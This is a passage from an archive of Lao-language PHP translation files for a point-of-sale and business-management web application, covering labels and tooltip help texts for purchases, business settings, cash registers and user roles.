'service_staff_report' => ' ລາຍງານ ພະນັກງານບໍລິການ ', 'service_staff_replacement' => 'ການປ່ຽນພະນັກງານບໍລິການບໍ່ດີເຕັມ', ]; PK G �Z �a*, , lo/purchase.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Purchase Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Purchase screens | */ 'supplier' => 'ຜູ້ສະໜອງ', 'ref_no' => 'ອ້າງອີງ ເລກທີ', 'business_location' => 'ທີ່ຕັ້ງທຸລະກິດ', 'purchases' => 'ການຊື້', 'add_payment' => 'ເພີ່ມການຊໍາລະ', 'edit_payment' => 'ແກ້ໄຂການຊໍາລະ', 'view_payments' => 'ເບິ່ງານຊໍາລະ', 'amount_already_paid' => 'ຈຳນວນເງິນທີ່ຊໍາລະແລ້ວ', 'payment_added_success' => 'ເພີ່ມການຊໍາລະເງິນສຳເລັດ', 'payment_updated_success' => 'ປັບປຸງການຊໍາລະເງິນສຳເລັດ', 'payment_deleted_success' => 'ລຶບການຊໍາລະເງິນສຳເລັດ', 'view_payments' => 'ເພີ່ມການຊໍາລະ', 'amount' => 'ຈຳນວນ', 'payment_method' => 'ວິທີການຊຳລະ', 'no_records_found' => 'ບໍ່ພັບບັນທຶກ', 'payment_due' => 'ກຳນົດການຈ່າຍ', 'purchase_total' => 'ຊື້ທັງໝົດ', 'location' => 'ສະຖານທີ່', 'payment_note' => 'ຫມາຍເຫດການຊໍາລະເງິນ', 'all_purchases' => 'ການຊື້ທັງໝົດ', 'purchase_status' => 'ສະຖານະການຊື້', 'payment_status' => 'ສະຖານະການຊໍາລະ', 'grand_total' => 'ຍອດລວມ', 'add_purchase' => 'ເພີ່ທການຊື້', 'purchase_date' => 'ວັນທີຊື້', 'purchase_quantity' => 'ຈຳນວນທີ່ຊື້', 'unit_cost_before_tax' => 'ຕົ້ນທຶຍຕໍ່ໜ່ວຍ (ກ່ອນ ອາກອນ )', 'subtotal_before_tax' => 'ລວມ (ກ່ອນ ອາກອນ)', 'product_tax' => 'ອາກອນສິນຄ້າ', 'net_cost' => 'ຕົ້ນທຶນສຸດທິ', 'line_total' => 'ລວມທັງໝົດ', 'unit_selling_price' => 'ລາຄາຂາຍຕໍ່ໜ່ວຍ', 'total_before_tax' => 'ຍອດລວມກ່ອນອາກອນ', 'net_total_amount' => 'ຍອກລວມສຸດທິ', 'discount_type' => 'ປະເພດສ່ວນຫູຸດ', 'discount_amount' => 'ຈຳນວນສ່ວນຫຼຸດ', 'discount' => 'ສ່ວນຫຼຸດ', 'edit_purchase' => 'ແກ້ໄຂການຊື້', 'purchase_tax' => 'ອາກອນການຊື້', 'shipping_details' => 'ລາຍລະອຽດການຂົນສົ່ງ', 'additional_shipping_charges' => 'ຄ່າຂົນສົ່ງເພີ່ມເຕີມ', 'purchase_total' => 'ຍອດຊື້ທັງໝົດ', 'additional_notes' => 'ໝາຍເຫດເພີ່ມເຕີມ', 'purchase_add_success' => 'ເພີ່ມການຊື້ສຳເລັດ', 'purchase_update_success' => 'ປັບປຸງການຊື້ສຳເລັດ', 'purchase_details' => 'ລາຍລະອຽດຂອງການຊື້', 'unit_cost_after_tax' => 'ລາຄາຕໍ່ໝ່ວຍ (ຫຼັງອາກອນ)', 'total_after_tax' => 'ຍອດລວມຫຼັງອາກອນ', 'no_payments' => 'ບໍ່ມີການຊໍາລະເງິນເທື່ອ', 'allow_purchase_different_currency' => 'ຊື້ໃນສະກຸນເງິນອື່ນ', 'purchase_currency' => 'ສະກຸນເງິນໃນການຊື້', 'p_exchange_rate' => 'ອັດຕາແລກປ່ຽນເງິນຕາ', 'diff_purchase_currency_help' => 'ສະກຸນເງິນການຊື້ແມ່ນໄດ້ກຳນົດເປັນ <strong> :currency </strong>', 'list_purchase' => 'ລາຍການການຊື້', 'attach_document' => 'ເພີ່ມເອກະສານ', 'download_document' => 'ດາວໂຫຼດເອກະສານ', 'max_file_size' => 'ຂະໜາດໄຟລ: :sizeMB', ]; PK G �Z��S�� � lo/business.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'register_and_get_started_in_minutes' => 'ລົງທະບຽນແລະເລີ່ມຕົ້ນໃຊ້ງານໃນບໍ່ເທົ່າໃດນາທີ', 'business_name' => 'ຊື່ທຸລະກິດ', 'start_date' => 'ວັນທີເລີ່ມຕົ້ນ', 'currency' => 'ສະກຸນເງິນ', 'currency_placeholder' => 'ເລືອກສະກຸນເງິນ', 'upload_logo' => 'ອັບໂຫລດໂລໂກ້', 'country' => 'ປະເທດ', 'state' => 'ລັດ', 'city' => 'ເມືອງ', 'zip_code' => 'ລະຫັດໄປສະນີ', 'zip_code_placeholder' => 'ລະຫັດເຂດ / ລະຫັດໄປສະນີ', 'landmark' => 'ຈຸດສັງເກດ', 'tax_1_name' => 'ຊື່ພາສີ ທີ 1 ', 'tax_1_no' => 'ເລກພາສີທີ 1', 'tax_2_name' => 'ຊື່ພາສີ ທີ 2', 'tax_2_no' => 'ເລກພາສີທີ 2', 'tax_1_placeholder' => 'GST / VAT / ອື່ນໆ', 'prefix' => 'ຄຳນຳໜ້າ', 'prefix_placeholder' => 'ທ້າວ / Mrs / ນາງ', 'first_name' => 'ຊື່', 'last_name' => 'ນາມສະກຸນ', 'username' => 'ຊື່ຜູ້ໃຊ້', 'email' => 'ອີເມວ', 'password' => 'ລະຫັດຜ່ານ', 'confirm_password' => 'ຢືນຢັນລະຫັດຜ່ານ', 'register' => 'ລົງທະບຽນ', 'business' => 'ທຸລະກິດ', 'address' => 'ທີ່ຢູ່', 'logo_help' => 'ໂລໂກ້ທີ່ຜ່ານມາ (ຖ້າມີ) ຈະຖືກແທນທີ່', 'update_settings' => 'ປັບປຸງການຕັ້ງຄ່າ', 'business_settings' => 'ການຕັ້ງຄ່າທຸລະກິດ', 'settings_updated_success' => 'ປັບປຸງການຕັ້ງຄ່າສຳເລັດແລ້ວ', 'default_profit_percent' => 'ເປີເຊັນກຳໄລເບື້ອງຕົ້ນ', 'default_sales_tax' => 'ພາສີການຂາຍເລີ່ມຕົ້ນ', 'default_sales_discount' => 'ສ່ວນຫຼຸດການຂາຍເລີ່ມຕົ້ນ', 'business_details' => 'ລາຍລະອຽດທຸລະກິດ', 'tax' => 'ພາສີ', 'tax_details' => 'ລາຍລະອຽດພາສີ', 'owner' => 'ເຈົ້າຂອງ', 'owner_info' => 'ຂໍ້ມູນຂອງເຈົ້າຂອງ', 'sale' => 'ຂາຍ', 'sell_price_tax' => 'ລາຄາຂາຍ', 'product' => 'ສິນຄ້າ', 'sku_prefix' => 'ຄຳນຳໜ້າ SKU', 'language' => 'ພາສາ', 'time_zone' => 'ເຂດເວລາ', 'months' => [ 1 => 'ມັງກອນ', 2 => 'ກຸມພາ', 3 => 'ມີນາ', 4 => 'ເມສາ', 5 => 'ພຶດສະພາ', 6 => 'ມິຖຸນາ', 7 => 'ກໍລະກົດ', 8 => 'ສິງຫາ', 9 => 'ກັນຍາ', 10 => 'ຕຸລາ', 11 => 'ພະຈິກ', 12 => 'ທັນວາ', ], 'fy_start_month' => 'ເດືອນເລີ່ມຕົ້ນປີທາງການເງິນ', 'accounting_method' => 'ວິທີການບັນຊີຫຼັກຊັບ', 'fifo' => 'FIFO (ເຂົ້າກ່ອນອອກກ່ອນ)', 'lifo' => 'LIFO (ເຂົ້ານຳຫຼັງອອກກ່ອນ)', 'business_locations' => 'ທີ່ຕັ້ງທຸລະກິດ', 'business_location' => 'ທີ່ຕັ້ງທຸລະກິດ', 'manage_your_business_locations' => 'ຈັດການທີ່ຕັ້ງຂອງທຸລະກິດ', 'all_your_business_locations' => 'ທີ່ຕັ້ງຂອງທຸລະກິດທັງໝົດ', 'add_business_location' => 'ເພີ່ມທີ່ຕັ້ງຂອງທຸລະກິດໃໝ່', 'business_location_added_success' => 'ເພີ່ມທີ່ຕັ້ງຂອງທຸລະກິດຮຽບຮ້ອຍ', 'edit_business_location' => 'ແກ້ໄຂທີ່ຕັ້ງທຸລະກິດ', 'business_location_updated_success' => 'ການປັບປຸງທີ່ຕັ້ງທຸລະກິດຮຽບຮ້ອຍແລ້ວ', 'location' => 'ສະຖານທີ່', 'already_registered' => 'ລົງທະບຽນຮຽບຮ້ອຍແລ້ວບໍ?', 'sign_in' => 'ເຂົ້າສູ່ລະບົບ', 'not_yet_registered' => 'ຍັງບໍ່ໄດ້ລົງທະບຽນບໍ?', 'register_now' => 'ລົງທະບຽນດຽວນີ້', 'system' => 'ລະບົບ', 'show_help_text' => 'ສະແດງຂໍ້ຄວາມຊ່ວຍເຫຼືອ', 'mobile' => 'ໂທລະສັບ', 'alternate_number' => 'ໝາຍເລກຕິດຕໍ່ສຳຮອງ', 'email' => 'ອີເມວ', 'settings' => 'ການຕັ້ງຄ່າ', 'transaction_edit_days' => 'ມື້ທີ່ແກ້ໄຂທຸລະກຳ', 'dashboard' => 'ແຜງຄວບຄຸມ', 'view_stock_expiry_alert_for' => 'ເບິ່ງການແຈ້ງເຕືອນການໝົດອາຍຸຂອງຫຸ້ນສຳລັບ', 'days' => 'ວັນ', 'system_settings' => 'ການຕັ້ງຄ່າລະບົບ', 'add_keyboard_shortcuts' => 'ເພີ່ມແປ້ນພິມລັດ', 'operations' => 'ການດຳເນີນງານ', 'keyboard_shortcut' => 'ແປ້ນພິມລັດ', 'business_created_succesfully' => 'ສ້າງທຸລະກິດຮຽບຮ້ອຍແລ້ວ !!', 'tax_number1' => 'ເລກພາສີ 1', 'tax_number2' => 'ເລກພາສີ 2', 'is_active' => 'ໃຊ້ງານ', 'created_by' => 'ສ້າງໂດຍ', ]; PK G �Z��x�} } lo/cash_register.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Cash Register Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Cash Register CRUD operations. | */ 'cash_register' => 'ລົງທະບຽນເງິນສົດ', 'manage_your_cash_register' => 'ຈັດການການລົງທະບຽນເງິນສົດ', 'all_your_cash_register' => 'ການລົງທະບຽນເງິນສົດທັງໝົດ', 'cash_in_hand' => 'ເງິນສົດຢູ່ໃນມື', 'open_cash_register' => 'ເປີດການລົງທະບຽນເງິນສົດ', 'enter_amount' => 'ກະລຸນາໃສ່ຈຳນວນເງິນ', 'open_register' => 'ເປີດການລົງທະບຽນ', 'register_details' => 'ລາຍລະອຽດການລົງທະບຽນ', 'cash_payment' => 'ການຊຳລະເງິນສົດ', 'checque_payment' => 'ການຊຳລະເງິນຜ່ານແຊັກ', 'card_payment' => 'ຊຳລະເງິນຜ່ານບັດ', 'bank_transfer' => 'ໂອຍເງິນຜ່ານທະນາຄານ', 'other_payments' => 'ການຊຳລະເງິນອື່ນໆ', 'total_sales' => 'ຍອດຂາຍລວມ', 'total_cash' => 'ຍອດເງິນສົດທັງໝົດ', 'current_register' => 'ການລົງທະບຽນໃນປັດຈຸບັນ', 'close_register' => 'ປິດການລົງທະບຽນ', 'total_card_slips' => 'ຈຳນວນ Slips ທັງໝົດ', 'total_cheques' => 'ແຊັກທັງໝົດ', 'closing_note' => 'ໝາຍເຫດການປິດ', 'close_success' => 'ປິດການລົງທະບຽນຮຽບຮ້ອຍ', 'open' => 'ເປີດ', 'close' => 'ປິດ', 'total_refund' => 'ການສົ່ງເງິນຄືນທັງໝົດ', 'refunds' => 'ການສົ່ງເງິນຄືນ', ]; PK G �Z �Z[:> :> lo/tooltip.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tooltip Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for various help texts. | */ 'product_stock_alert' => "ສິນຄ້າທີ່ມີສະຕັອກຕໍ່າ.<br/><small class='text-muted'>ຂຶ້ຢູ່ກັບປະລິມານການແຈ້ງເຕືອນຂອງສິຄ້າໜ້າໃນໜ່າຈໍເພີ່ມຜະລິດຕະພັນ.<br> ຊື້ສິນຄ້ານີ້ກ່ອນທີ່ສິນຄ້າຈະໝົດ.</small>", 'payment_dues' => "ລໍຖ້າການຊຳລະເງິນສຳຫຼັບການຊື້ສິນຄ້າ. <br/><small class='text-muted'>ຂຶ້ນຢູ່ກັບເງື່ອນໄຂການຈ່າຍຂອງຜູ້ສະໜອງ. <br/> ສະແດງການຊໍາລະເງິນທີ່ຕ້ອງຊໍາລະພາຍໃນ 7 ມື້ ຫຼື ໜ້ອຍກວ່າ.</small>", 'input_tax' => 'ອາກອນທັງໝົດທີ່ເກັບສຳລັບການຂາຍພາຍໃນໄລຍະເວລາທີ່ເລືອກ.', 'output_tax' => 'ພາສີທັງໝົດທີ່ຈ່າຍໃຫ້ກັບການຊື້ໃນຊ່ວງເວລາທີ່ເລືອກ.', 'tax_overall' => 'ຄວາມແຕກຕ່າງລະຫວ່າງພາສີທັງໝົດທີ່ເກັບ ແລະ ພາສີລວມທີ່ຊໍາລະພາຍໃນໄລຍະເວລາທີ່ເລືອກ.', 'purchase_due' => 'ລວມຈຳນວນເງິນທີ່ຄ້າງຊໍາລະສຳຫຼັບການຊື້.', 'sell_due' => 'ຍອດລວມທີ່ຈະໄດ້ຮັບຈາກການຂາຍ', 'over_all_sell_purchase' => '-ve ມູນຄ່າ = ຈຳນວນທີ່ຊໍາລະ <br>+ve ມູນຄ່າ = ຈຳນວນທີ່ໄດ້ຮັບ', 'no_of_products_for_trending_products' => 'ຈຳນວນສິນຄ້າທີ່ໄດ້ຮັບຄວາມນິຍົມສູງສຸດະຖືກປຽບທຽບໃນຕາຕະລາງຂ້າງລຸ່ມນີ້.', 'top_trending_products' => "ສິນຄ້າທີ່ຂາຍດີທີ່ສຸດຂອງຮ້ານຂອງທ່ານ. <br/><small class='text-muted'>ໃຊ້ການກັ່ນຕອງເພື່ອຮັບຮູ້ເຖິງສິນຄ້າທີ່ໄດ້ຮັບຄວາມນິຍົມສຳຫຼັບໝວດໝູ່ ສະເພາະ,ຍີ່ຫໍ້ , ທີ່ຕັງທຸລະກິດ ແລະ ອື່ນໆ.</small>", 'sku' => "ລະຫັດສິນຄ້າທີ່ບໍ່ຊໍ້າກັນ ຫຼື ຫົວໜ່ວຍຮັກສາສະຕັອກ <br><br>ເວັ້ນຫວ່າງໄວ້ເພື່ອສ້າງ sku ອັດຕະໂນມັດ .<br><small class='text-muted'>ເຈົ້າສາມາດແກ້ໄຂຄຳນຳໜ້າ sku ໃນການຕັ້ງຄ່າທຸລະກິດ.</small>", 'enable_stock' => "ເປີດຫຼືປິດການຈັດການສະຕັອກສຳຫຼັບສິນຄ້າ. <br><br><small class='text-muted'>ການຈັດການສະຕັອກຄວນປິດໃຊ້ງານສ່ວນຫຼາຍຝນການບໍລິການ. ຕົວຢ່າງ: ການຕັດຜົມ, ການສ້ອມແປງ, ອື່ນໆ.</small>", 'alert_quantity' => "ຮັບການແຈ້ງເຕືອນເມື່ອສະຕັອກເມື່ອປະລິມານສິນຄ້າເຖິງຫຼື ຕໍ່າກວ່າປະລິມານທີ່ລະບຸ.<br><br><small class='text-muted'>ສິນຄ້າທີ່ມີສະຕັອກຕໍ່າຈະສະແດງໃນແຜງຄວບຄູມ - ສ່ວນການແຈ້ງເຕືອນສະຕັອກສິນຄ້າ.</small>", 'product_type' => '<b>ສິນຄ້າດຽວ</b>: ສິນຄ້າບໍ່ມີການປ່ຽນແປງ. <br><b>Variable product</b>: ສິນຄ້າທີ່ມີການປ່ຽນແປງເຊັ່ນ: ຂະໜາດ, ສີແລະອື່ນໆ. <br><b>Combo product</b>:ການລວມກັນຂອງຫຼາຍສິນຄ້າ, ເຊິ່ງເອີ້ນກັນວ່າສິນຄ້າມັດ', 'profit_percent' => "ກຳໄລ່ເລີ່ມຕົ້ນຂອງສິນຄ້າ. <br><small class='text-muted'>(<i>ເຈົ້າສາມາດຈັດການກັບອັດຕາກຳໄລເບີ່ມຕົ້ນຂອງສິນຄ້າໃນການຕັ້ງຄ່າທຸລະກິດ.</i>)</small>", 'pay_term' => "ການຊຳລະເງິນທີ່ຕ້ອງຈ່າຍສຳລັບການຊື້ / ຂາຍພາຍໃນໄລຍະເວລາທີ່ກຳນົດ.<br/><small class='text-muted'>ການຊຳລະເງິນທີ່ຈະເກີດຂຶ້ນຫຼືເຖິງກຳນົດທັງໝົດຈະສະແດງໃນແຜງຄວບຄຸມ - ໃນສ່ວນການຊຳລະເງິນ</small>", 'order_status' => 'ຜະລິດຕະພັນໃນການຊື້ນີ້ຈະວາງຈຳໜ່າຍສະເພາະໃນກໍລະນີທີ່ <b>Order Status</b> ເປັນ <b>ລາຍການທີ່ໄດ້ຮັບ</b>.', 'purchase_location' => 'ທີ່ຕັ້ງຂອງທຸລະກິດທີ່ຈະຂາຍສິນຄ້າທີ່ຊຈະຊື້.', 'sale_location' => 'ທີ່ຕັ້ງຂອງທຸລະກິດທີ່ດຈົ້າຕ້ອງການຂາຍ', 'sale_discount' => "ຕັ້ງ 'ການຫຼຸດລາຄາຂາຍເລີ່ມຕົ້ນ' ສຳຫຼັບການຂາຍທັງໝົດໃນການຕັ້ງຄ່າທຸລະກິດ ກົດໃສ່ປຸ່ມແກ້ໄຂດ້ານລຸ່ມເພື່ອ ເພີ່ມ / ປັບປຸງລາຄາສ່ວນຫຼຸດ.", 'sale_tax' => "ຕັ້ງ 'ພາສີລາຄາຂາຍຕັ້ງຕົ້ນ' ສຳຫຼັບການຂາຍທັງໝົດໃນການຕັ້ງຄ່າທຸລະກິດ. ົດໃສ່ປຸ່ມແກ້ໄຂດ້ານລຸ່ມເພື່ອ ເພີ່ມ / ປັບປຸງ ພາສາການສັ່ງຊື້.", 'default_profit_percent' => "ອັດຕາກຳໄລເລີ່ມຕົ້ນຂອງສິນຄ້າ. <br><small class='text-muted'>ໃຊ້ໃນການຄຳນວນລາຄາຂາຍຕາມລາຄາຊື້ທີ່ປ້ອນ.<br/> ເຈົ້າສາມາດແກ້ໄຂຄ່ານີ້ສຳຫຼັບສິນຄ້າທີ່ບໍ່ມີຕົວຕົນໃນຈະນະທີ່ເພີ່ມສິນຄ້າ</small>", 'fy_start_month' => 'ເລີ່ມຕົ້ນເດືອນຂອງປີການເງິນສຳລັບທຸລະກິດຂອງເຈົ້າ', 'business_tax' => 'ຈົດທະບຽນເລກພາສີອາກອນສຳລັບທຸລະກິດຂອງເຈົ້າ.', 'invoice_scheme' => "ຮູບແແບໃບແຈ້ງໜີ້ໝາຍເຖິງຮູບແບບການກຳນົດໝາຍເລກໃບແຈ້ງໜີ້. ເລືອກຊຸດຮູບແບບທີ່ຈະໃຊ້ສຳລັບທີ່ຕັ້ງທຸລະກິດນີ້<br><small class='text-muted'><i>ເຈົ້າສາມາດເພີ່ມຮູບແບບໃບແຈ້ງໜີ້ໃໝ່</b> ໃນການຕັ້ງຄ່າໃບແຈ້ງໜີ້</i></small>", 'invoice_layout' => "ໂຄງຮ່າງໃບແຈ້ງໜີ້ທີ່ຈະໃຊ້ໃນທີ່ຕັັ້ງທຸລະກິດນີ້<br><small class='text-muted'>(<i>ເົ້ຈາສາມາດເພີ່ມໃໝ່ <b>ໂຄງຮ່າງໃບແຈ້ງໜີ້</b> in <b>ຕັ້ງຄ່າໃບແຈ້ງໜີ້<b></i>)</small>", 'invoice_scheme_name' => 'ໃສ່ຊື່ທີ່ມີຄວາມໝາຍສັ້ນໃຫ້ກັບໂຄງຮ່າງໃບແຈ້ງໜີ້.', 'invoice_scheme_prefix' => 'ຄຳນຳໜ້າສຳລັບໂຄງຮ່າງໃບແຈ້ງໜີ້.<br>ຄຳນຳໜ້າສາມາດເປັນຂໍ້ຄວາມທີ່ກຳນົດເອງຫຼືປີປັດຈຸບັນ. ຕົວຢ່າງ: #XXXX0001, #2018-0002', 'invoice_scheme_start_number' => "ໝາຍເລກເລີ່ມຕົ້ນສຳລັບການກຳນົດໝາຍ ເລກໃບແຈ້ງໜີ້. <br><small class='text-muted'>ທ່ານສາມາດເຮັດໃຫ້ມັນເປັນເລກ 1 ຫຼືເລກອື່ນໆຈາກເລກທີ່ເປັນເລກເລີ່ມຕົ້ນ.</small>", 'invoice_scheme_count' => 'ຈຳນວນໃບແຈ້ງໜີ້ທັງໝົດທີ່ສເາງຂຶ້ນ ສຳລັບໂຄງຮ່າງໃບແຈ້ງໜີ້', 'invoice_scheme_total_digits' => 'ຄວາມຍາວຂອງໝາຍເລກໃບແຈ້ງໜີ້ບໍ່ລວມຄຳນຳໜ້າໃນໃບແຈ້ງໜີ້', 'tax_groups' => 'ອັດຕາອາກອນໃນກຸ່ມ- ກຳນົດໄວ້ຂ້າງເທິງ, ທີ່ຈະໃຊ້ຮ່ວມກັນໃນການ ຊື້ / ຂາຍ.', 'unit_allow_decimal' => 'ທົດສະນິຍົມຊ່ວຍໃຫ້ເຈົ້າສາມາດຂາຍສິນຄ້າທີ່ກ່ຽວຂ້ອງໃນຮູບແບບເສດສ່ວນ.', 'print_label' => 'ເພີ່ມສິນຄ້າ ->ເລືອກຂໍ້ມູນທີ່ຈະສະແດງ -> ເລືອກການຕັ້ງຄ່າບາໂຄດ -> ເບິ່ງຕົວຢ່າງປ້າຍກຳກັບ -> ພິມ', 'expense_for' => 'ເລືອກຜູ້ໃຊ້ທີ່ກ່ຽວຂ້ອງກັບຄ່ໃຊ້ຈ່າຍ. <i>(Optional)</i><br/><small>ຕົວຢ່າງ: ເງິນເດືອນຂອງພະນັກງານ.</small>', 'all_location_permission' => 'ຖ້າວ່າ <b>ທີ່ຕັ້ງທຸລະກິດທັງໝົດ</b> ເລືອກບົດບາດນີ້ຈະໄດ້ຮັບການອະນຸຍາດເຂົ້າເຖິງທຸກໆສະຖານທີ່ທຸລະກິດ', 'dashboard_permission' => 'ຖ້າບໍ່ໄດ້ເລືອກສະເພາະຂໍ້ຄວາມຍິນດີຕ້ອນຮັບຈະສະແດງຢູ່ໜ້າທຳອິດ.', 'access_locations_permission' => 'ເລືອກສະຖານທີ່ຕັ້ງທັງໝົດທີ່ບົດບາດນີ້ສາມາດເຂົ້າເຖິງໄດ້. ຂໍ້ມູນທັງໝົດສຳຫຼັບສະຖານທີ່ທີ່ເລືອກຈະສະແດງຕໍ່ຜູ້ໃຊ້ນີ້ເທົ່ານັ້ນ.<br/><br/><small>ຕົວຢ່າງ: ເຈົ້າສາມາດໃຊ້ເພື່ອກຳນົດ <i>ຜູ້ຈັດການຮ້ານ / ພະນັກງານຂາຍ / ຜູ້ຈັດການສະຕັອກ / ຜູ້ຈັດການສາຂາ, </i>ຂອງສະຖານທີ່ຕັ້ງໂດຍສະເພາະ.</small>', 'print_receipt_on_invoice' => 'ເປີດໃຊ້ງານ ຫຼື ປິດໃຊ້ງານການພິມຝບແຈ້ງໜີ້ອັດຕະໂນມັດເມື່ອສຳເລັັດ', 'receipt_printer_type' => '<i>ການພິມໂດຍໃຊ້ Browser</i>: ສະແດງ Dialog Box Browserພ້ອມຕົວຢ່າງໃບແຈ້ງໜີ້<br/><br/> <i>ໃຊ້ເຄື່ອງພິມໃບຮັບເງິນທີ່ກຳນົດຄ່າ</i>: ເລືອກໃບຮັບເງິນທີ່ກຳນົດ / ເຄື່ອງພິມຄວາມຮ້ອນສຳລັບການພິມ', 'adjustment_type' => '<i>ປົກກະຕິ</i>: ການດັດປັບຕາມເຫດຜົນປົກກະຕິເຊັ່ນ: ການຮົ່ວໄຫຼ, ຄວາມເສຍຫາຍແລະອື່ນໆ. <br/><br/> <i>ຜິດປົກກະຕິ</i>:ການປັບດ້ວຍເຫດຜົນເຊັ່ນ: ໄຟໄໝ້, ອຸປະຕິເຫດແລະອື່ນໆ.', 'total_amount_recovered' => 'ຈຳນວນເງິນທີ່ໄດ້ຮັບຈາກການປະກັນໄພຫຼືການຂາຍເສດສ່ວນ ຫຼື ອື່ນໆ', 'express_checkout' => 'ເຮັດເຄື່ອງໝາຍຊຳລະເງິນແລ້ວ & ຊຳລະເງິນ', 'total_card_slips' => 'ຈຳນວນການຊຳລະເງິນດ້ວຍບັດທັງໝົດທີ່ໃຊ້ໃນການລົງທະບຽນນີ້', 'total_cheques' => 'ຈຳນວນແຊັກທັງໝົດທີ່ໃຊ້ໃນການລົງທະບຽນນີ້', 'capability_profile' => "ສະຫນັບສະຫນູນສໍາລັບຄໍາສັ່ງແລະຫນ້າລະຫັດແຕກຕ່າງກັນລະຫວ່າງຜູ້ຈຳໜ່າຍເຄື່ອງພິມແລະລຸ້ນ.ຖ້າເຈົ້າບໍ່ແນ່ໃຈ, ມັນເປັນຄວາມຄິດທີ່ດີທີ່ຈະໃຊ້ຂໍ້ມູນ'ງ່າຍດາຍ'", 'purchase_different_currency' => 'ເລືອກຕົວເລືອກນີ້ຖ້າທ່ານຊື້ໃນສະກຸນເງິນອື່ນທີ່ແຕກຕ່າງຈາກສະກຸນເງິນທຸລະກິດຂອງເຈົ້າ', 'currency_exchange_factor' => "1 ສະກຸນເງິນຊື້ = ? ສະກຸນເງິນພື້ນຖານ <br> <small class='text-muted'>ເຈົ້າສາມາດ ເປີດ/ປິດ 'ການຊື້ໃນສະກຸນເງິນອື່ນ' ຈາກທີ່ຕັ້ງທຸລະກິດ.</small>", 'accounting_method' => 'ວິທີການບັນຊີ', 'transaction_edit_days' => 'ຈຳນວນມື້ນັບແຕ່ມື້ເຮັດທຸລະກຳຈົນເຖິງການມື້ທີ່ສາມດແກ້ໄຂການເຮັດທຸລະກຳໄດ້.', 'stock_expiry_alert' => "ລາຍການສະຕັອກທີ່ໝົດອາຍຸໃນ :days ມື້ <br> <small class='text-muted'>ສາມາດກຳນົດ. ຈຳນວນມື້ໃນການຕັ້ງທຸລະກິດໄດ້ </small>", 'sub_sku' => 'Sku ແມ່ນຕົວເລືອກ. <br><br><small>ເວັ້ນຫວ່າງໄວ້ເພື່ອສາມາດສ້ງ sku ອັດຕະໂນມັດ.<small>', 'shipping' => 'ກຳນົດລາຍລະອຽດການຈັດສົ່ງ ແລະ ຄ່າຈັດສົ່ງ. ກົດທີ່ປູ່ມແກ້ໄຂດ້ານລຸ່ມເພື່ອເພີ່ມ / ປັບປຸງລາຍລະອຽດການຂົນສົ່ງແລະຄ່າບໍລິການ.', ]; PK G �Zט�4� � lo/role.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Role Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'add_role' => 'ເພີ່ມບົດບາດ', 'edit_role' => 'ແກ້ໄຂບົດບາດ', 'user' => 'ຜູ້ໃຊ້', 'supplier' => 'ຜູ້ສະໜອງ', 'customer' => 'ລູກຄ້າ', 'purchase' => 'ການຊື້ & ການປັບສະຕັອກ', 'report' => 'ລາຍງານ', 'user.view' => 'ເບິ່ງຜູ້ໃຊ້', 'user.create' => 'ເພີ່ມຜູ້ໃຊ້', 'user.update' => 'ແກ້ຜໄຂູ້ໃຊ້', 'user.delete' => 'ລຶບຜູ້ໃຊ້', 'supplier.view' => 'ເບິ່ງຜູ້ສະໜອງ', 'supplier.create' => 'ເພີ່ມຜູ້ສະໜອງ ', 'supplier.update' => 'ແກ້ໄຂຜູ້ສະໜອງ ', 'supplier.delete' => 'ລຶບຜູ້ສະໜອງ', 'customer.view' => 'ເບິ່ງລູກຄ້າ', 'customer.create' => 'ເພີ່ມລູກຄ້າ ', 'customer.update' => 'ແກ້ໄຂລູກຄ້າ', 'customer.delete' => 'ລຶບລູກຄ້າ', 'product.view' => 'ເບິ່ງສິນຄ້າ', 'product.create' => 'ເພີ່ມສິນຄ້າ', 'product.update' => 'ແກ້ໄຂສິນຄ້າ', 'product.delete' => 'ລຶບສິນຄ້າ', 'purchase.view' => 'ເບິ່ງການຊື້ & ການປັບສະຕັອກ', 'purchase.create' => 'ເພີ່ມການຊື້ & ການປັບສະຕັອກ', 'purchase.update' => 'ແກ້ໄຂການຊື້ & ການປັບສະຕັອກ', 'purchase.delete' => 'ລຶບການຊື້ purchase & ການປັບສະຕັອກ', 'sell.view' => 'ເບິ່ງ POS ຂາຍ', 'sell.create' => 'ເພີ່ມ POS ຂາຍ', 'sell.update' => 'ແກ້ໄຂ POS ຂາຍ', 'sell.delete' => 'ລຶບ POS ຂາຍ', 'purchase_n_sell_report.view' => 'ເບິ່ງລາຍງານການຊື້ & ຂາຍ', 'contacts_report.view' => 'ເບິ່ງລາຍງານຜູ້ສະໜອງ & ລູກຄ້າ', 'stock_report.view' => 'ເບິ່ງລາຍງານສະຕັອກ, ການປັບສະຕັອກ & ສະຕັອກທີ່ໝົດອາຍຸ', 'tax_report.view' => 'ເບິ່ງລາຍງານພາສີ', 'trending_product_report.view' => 'ບິ່ງລາຍງານສິນຄ້າຍອດນິຍົມ', 'register_report.view' => 'ເບິ່ງລາຍງານການລົງທະບຽນ', 'sales_representative.view' => 'ເບິ່ງລາຍງານຕົວແທນຂາຍ', 'expense_report.view' => 'ເບິ່ງລາຍງານລາຍຈ່າຍ', 'business_settings.access' => 'ເຂົ້າເຖິງການຕັ້ງຄ່າທຸລະກິດ', 'barcode_settings.access' => 'ເຂົ້າເຖິງການຕັ້ງຄ່າບາໂຄດ', 'invoice_settings.access' => 'ເຂົ້າເຖິງການຕັ້ງຄ່າໃບແຈ້ງໜີ້', 'brand.view' => 'ເບິ່ງຍີ່ຫໍ້', 'brand.create' => 'ເພີ່ມຍີ່ຫໍ້', 'brand.update' => 'ແກ້ໄຂຍີ່ຫໍ້', 'brand.delete' => 'ລຶບຍີ່ຫໍ້', 'tax_rate.view' => 'ເບິ່ງອັດຕາອາກອນ', 'tax_rate.create' => 'ເພີ່ມອັດຕາອາກອນ', 'tax_rate.update' => 'ແກ້ໄຂອັດຕາອາກອນ', 'tax_rate.delete' => 'ລຶບອັດຕາອາກອນ', 'unit.view' => 'ເບິ່ງໜ່ວຍ ', 'unit.create' 